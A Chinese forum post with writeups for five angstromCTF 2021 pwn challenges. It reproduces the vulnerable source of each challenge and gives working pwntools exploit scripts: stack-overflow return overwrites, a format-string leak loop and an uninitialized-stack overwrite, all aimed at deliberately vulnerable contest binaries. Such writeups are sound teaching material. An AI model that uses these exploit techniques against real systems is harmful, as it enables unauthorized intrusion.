首页
论坛
课程
招聘
[题解集锦] [溢出] [格式化] [原创]angstromCTF2021-pwn-前5题writeup
2021-4-12 09:38 3203

[题解集锦] [溢出] [格式化] [原创]angstromCTF2021-pwn-前5题writeup

2021-4-12 09:38
3203

1. Secure Login

My login is, potentially, and I don't say this lightly, if you know me you know that's the truth, it's truly, and no this isn't snake oil, this is, no joke, the most secure login service in the world (source).
Try to hack me at /problems/2021/secure_login on the shell server.
Author: kmh

步骤一:查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
 
char password[128];
 
void generate_password() {
    FILE *file = fopen("/dev/urandom","r");
    fgets(password, 128, file);
    fclose(file);
}
 
void main() {
    puts("Welcome to my ultra secure login service!");
 
    // no way they can guess my password if it's random!
    generate_password();
 
    char input[128];
    printf("Enter the password: ");
    fgets(input, 128, stdin);
 
    if (strcmp(input, password) == 0) {
        char flag[128];
 
        FILE *file = fopen("flag.txt","r");
        if (!file) {
            puts("Error: missing flag.txt.");
            exit(1);
        }
 
        fgets(flag, 128, file);
        puts(flag);
    } else {
        puts("Wrong!");
    }
}

步骤二:分析与解题

strcmp的源码如下:

1
2
3
4
5
6
7
8
9
10
11
int strcmp ( const char* src, const char* dst )
{
    int ret = 0 ;
    while( !(ret = *(unsigned char *)src - *(unsigned char *)dst) && *dst)
        ++src, ++dst;
    if ( ret < 0 )
        ret = -1 ;
    else if ( ret > 0 )
        ret = 1 ;
    return( ret );
}

strcmp返回值为0的情况有两种:1)src和dst一样;2)dst为NULL。而在这题里,我们猜不出来随机数password,因此只能找第2)种情况。/dev/urandom 生成随机字节序列,所以,它会生成范围为0-255的值。因此,第一个字符有1/256的可能为\x00,这是字符串的终止符,表明是空字符串,会让strcmp函数返回0。因此,只要不断循环,总会遇到password的首字节为\x00的情况。
同时,这题没有给host和port,但是给了交互的shell环境,所以就直接在shell环境里进行操作。结果如下:
image.png
只要等待循环结束,然后打印res就可以得到flag!
image.png

2. tranquil

Finally, inner peace - Master Oogway
Source
Connect with nc shell.actf.co 21830, or find it on the shell server at /problems/2021/tranquil.
Author: JoshDaBosh

步骤一:查看源码

下面第25行存在栈溢出漏洞,开启了NX,所以只要把vuln的返回地址覆盖成win函数地址就能拿到flag了,都不需要反编译了。ret2text类型的题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int win(){
    char flag[128];
 
    FILE *file = fopen("flag.txt","r");
 
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
 
    fgets(flag, 128, file);
 
    puts(flag);
}
 
int vuln(){
    char password[64];
 
    puts("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
 
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
 
    return 0;
}
 
 
int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    vuln();
 
    // not so easy for you!
    // win();
 
    return 0;
}
1
2
3
$ checksec --file=tranquil
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   53) Symbols      No    0        3        tranquil

步骤二:编写exp获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
def get_sh():
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./tranquil")
 
p = get_sh()
p.recvuntil('Enter the secret word: \n')
p.sendline('a'*0x48+p64(0x401196))
 
p.interactive()

image.png

3. Sanity Checks

I made a program (source) to protect my flag. On the off chance someone does get in, I added some sanity checks to detect if something fishy is going on. See if you can hack me at /problems/2021/sanity_checks on the shell server, or connect with nc shell.actf.co 21303.
Author: kmh

步骤一:查看源码

第18行存在栈溢出漏洞,只需要password填充“password123”,然后覆盖5个int型变量为相应的值就可以拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
void main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    char password[64];
    int ways_to_leave_your_lover = 0;
    int what_i_cant_drive = 0;
    int when_im_walking_out_on_center_circle = 0;
    int which_highway_to_take_my_telephones_to = 0;
    int when_i_learned_the_truth = 0;
 
    printf("Enter the secret word: ");
 
    gets(&password); // 栈溢出漏洞
 
    if(strcmp(password, "password123") == 0){ //password=="password123"
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) { // 覆盖这些变量
                            char flag[128];
 
                            FILE *f = fopen("flag.txt","r");
 
                            if (!f) {
                                printf("Missing flag.txt. Contact an admin if you see this on remote.");
                                exit(1);
                            }
 
                            fgets(flag, 128, f);
 
                            printf(flag);
                            return;
                        }
                    }
                }
            }
        }
        puts("Nope, something seems off.");
    } else {
        puts("Login failed!");
    }
}

步骤二:编写exp获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level='debug'
def get_sh(other_libc = null):
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./checks")
 
p = get_sh()
#gdb.attach(p)
p.recvuntil('Enter the secret word: ')
 
p.sendline('password123'.ljust(0x60-0x14,'\x00')+p32(17)+p32(61)+p32(245)+p32(55)+p32(50))
 
p.interactive()

image.png

4. stickystacks

I made a program that holds a lot of secrets... maybe even a flag!
Source
Connect with nc shell.actf.co 21820, or visit /problems/2021/stickystacks on the shell server.
Author: JoshDaBosh

步骤一:查看源码

将flag读取到了结构体中,结构体在栈里,但是没有打印它。能让我们输入6个字节的数据,没有栈溢出漏洞,但是存在 printf(name) 这个格式化字符串漏洞。所以,可以利用这个漏洞将flag泄漏出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
 
typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;
 
 
int vuln(){
    char name[7];
 
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
 
 
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
 
 
    puts("Name: ");
 
    fgets(name, 6, stdin);
 
 
    printf("Welcome, ");
    printf(name);
    printf("\n");
 
    return 0;
}
 
 
int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
 
    vuln();
 
    return 0;
}

步骤二:编写exp获取flag

1
for i in `seq 1 50`; do perl -e 'print "%${ARGV[0]}\$p"' $i | ./stickystacks | grep Welcome | awk '{print $2}'; done

image.png
红色部分为flag。因为,在其中的前后部分明显可以看到 7b ({) 7d (}) ,还有 0a ( \n)。复制这一段,通过添加空格,全部替换等操作,写一个脚本,跑出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a = [[0x6c,0x65,0x77,0x7b,0x66,0x74,0x63,0x61],
[0x61,0x62,0x5f,0x6d,0x27,0x69,0x5f,0x6c],
[0x6c,0x62,0x5f,0x6e,0x69,0x5f,0x6b,0x63],
[0x5f,0x73,0x65,0x79,0x5f,0x6b,0x63,0x61],
[0x6b,0x63,0x61,0x62,0x5f,0x6d,0x27,0x69],
[0x5f,0x65,0x68,0x74,0x5f,0x6e,0x69,0x5f],
[0x65,0x62,0x5f,0x6b,0x63,0x61,0x74,0x73],
[0x34,0x39,0x32,0x31,0x35,0x62,0x39,0x63],
[0x34,0x38,0x36,0x37,0x37,0x64,0x61,0x65],
[0x0a,0x7d,0x33,0x39,0x35,0x66,0x31,0x61]]
 
b = []
for i in a:
  for j in range(len(i)):
    b.append(chr(i[len(i)-1-j]))
 
print(''.join(b))

image.png
看到一个writeup用 CyberChef 这个神器,才想起来有这个东西:(

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Reverse('Character')&input=MHgwYTdkMzMzOTM1NjYzMTYxCjB4MzQzODM2MzczNzY0NjE2NQoweDM0MzkzMjMxMzU2MjM5NjMKMHg2NTYyNWY2YjYzNjE3NDczCjB4NWY2NTY4NzQ1ZjZlNjk1ZgoweDZiNjM2MTYyNWY2ZDI3NjkKMHg1ZjczNjU3OTVmNmI2MzYxCjB4NmM2MjVmNmU2OTVmNmI2MwoweDYxNjI1ZjZkMjc2OTVmNmMKMHg2YzY1Nzc3YjY2NzQ2MzYxCgoK

 

image.png

5. RAIId Shadow Legends

I love how C++ initializes everything for you. It makes things so easy and fun!
Speaking of fun, play our fun new game RAIId Shadow Legends (source) at /problems/2021/raiid_shadow_legends on the shell server, or connect with nc shell.actf.co 21300.
Author: kmh

步骤一:查看源码

很明显地看到源码前面有 ifstream flag("flag.txt") ,那么就先看看有没有哪里打印flag:37行 ...<< flag.rdbuf() << endl; ,需要player.skill == 1337 并且 action == "2" 才能运行这一行代码打印flag,player是character结构体。
再来看程序主体功能:先调用terms_and_conditions函数打印条款,然后调用play函数进行play。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <fstream>
#include <string>
 
using namespace std;
 
ifstream flag("flag.txt");
 
struct character {
    int health;
    int skill;
    long tokens;
    string name;
};
 
void play() {
    string action;
    character player;
    cout << "Enter your name: " << flush;
    getline(cin, player.name);
    cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;
    while (true) {
        cout << "\n1. Power up" << endl;
        cout << "2. Fight for the flag" << endl;
        cout << "3. Exit game\n" << endl;
        cout << "What would you like to do? " << flush;
        cin >> action;
        cin.ignore();
        if (action == "1") {
            cout << "Power up requires shadow tokens, available via in app purchase." << endl;
        } else if (action == "2") {
            if (player.skill < 1337) {
                cout << "You flail your arms wildly, but it is no match for the flag guardian. Raid failed." << endl;
            } else if (player.skill > 1337) {
                cout << "The flag guardian quickly succumbs to your overwhelming power. But the flag was destroyed in the frenzy!" << endl;
            } else {
                cout << "It's a tough battle, but you emerge victorious. The flag has been recovered successfully: " << flag.rdbuf() << endl;
            }
        } else if (action == "3") {
            return;
        }
    }
}
 
void terms_and_conditions() {
    string agreement;
    string signature;
    cout << "\nRAIId Shadow Legends is owned and operated by Working Group 21, Inc. ";
    cout << "As a subsidiary of the International Organization for Standardization, ";
    cout << "we reserve the right to standardize and/or destandardize any gameplay ";
    cout << "elements that are deemed fraudulent, unnecessary, beneficial to the ";
    cout << "player, or otherwise undesirable in our authoritarian society where ";
    cout << "social capital has been eradicated and money is the only source of ";
    cout << "power, legal or otherwise.\n" << endl;
    cout << "Do you agree to the terms and conditions? " << flush;
    cin >> agreement;
    cin.ignore();
    while (agreement != "yes") {
        cout << "Do you agree to the terms and conditions? " << flush;
        cin >> agreement;
        cin.ignore();
    }
    cout << "Sign here: " << flush;
    getline(cin, signature);
}
 
int main() {
    cout << "Welcome to RAIId Shadow Legends!" << endl;
    while (true) {
        cout << "\n1. Start game" << endl;
        cout << "2. Purchase shadow tokens\n" << endl;
        cout << "What would you like to do? " << flush;
        string action;
        cin >> action;
        cin.ignore();
        if (action == "1") {
            terms_and_conditions();
            play();
        } else if (action == "2") {
            cout << "Please mail a check to RAIId Shadow Legends Headquarters, 1337 Leet Street, 31337." << endl;
        }
    }
}
1
2
3
$ checksec --file=raiid_shadow_legends
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   78) Symbols      No    0        0        raiid_shadow_legends

步骤二:调试分析

action可以通过输入使得它的值为2,但是player.skill 没有提供输入来改变它。首先想到的就是通过栈溢出来覆盖它的值,输入字符串的地方有三处:1)agreement让我们输入“yes”;2)输入signature;3)输入player.name。
这三个变量agreement、signature和player都是局部变量,且没有进行初始化,所以,他们都是在栈中的。
player.name是c++中的string类型变量,栈中存储的是输入的字符串的地址,是没法通过它来栈溢出的。下面通过gdb来调试分析,在play函数下断点,然后name输入“aaaa”,此时结果如下所示。验证了前面所说,是没法通过player.name来覆盖skill的。
image.png
往下走,看看player.skill在栈的哪个位置,和两外两个输入有没有关系。通过IDA分析,<< player.skill 在getline函数的后面第4个call,单步执行到这,如下所示。play.skill是第二个参数,会mov给rsi,而由下面的调试过程可知,是将rax的值给rsi,而rax值的来源是rbp-0x4c。计算rbp-0x4c得到0x7fffffffddb4,正是yes字符串所处的地址。因此,如果yes后面接1337,那么就能将play.skill的值变成1337!image.png
image.png
而前面输入“yes”的时候是会进行判断的,需要输入“yes”才会退出这个循环,否则会让用户一直输入。那么就多输入1次来看看情况,先输入yesabbbb,然后输入yes。可以看到,结果是栈里相应地址里的内容后4位已经改成了bbbb。
image.png
image.png

步骤三:编写exp获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
 
def get_sh(other_libc = null):
    if args['REMOTE']:       
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./raiid_shadow_legends")
 
p = get_sh()
 
p.recvuntil('What would you like to do?')
p.sendline('1')
p.recvuntil('Do you agree to the terms and conditions?')
p.sendline(b'yesa' + p32(0x539))
 
p.recvuntil('Do you agree to the terms and conditions?')
p.sendline('yes')
p.recvuntil('Sign here:')
p.sendline('bbbb')
p.recvuntil('Enter your name:')
p.sendline('bbbb')
p.recvuntil('What would you like to do?')
p.sendline('2')
p.recvuntil("It's a tough battle, but you emerge victorious. The flag has been recovered successfully: ")
flag = p.recvline()
print(flag)

image.png

参考文献

  • https://github.com/ryan-cd/ctf/tree/master/2021/angstromctf/binary/stickystacks
  • https://ctftime.org/writeup/27044
  • https://ctftime.org/writeup/27045

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班火热招生!!

最后于 2021-4-12 13:27 被直木编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回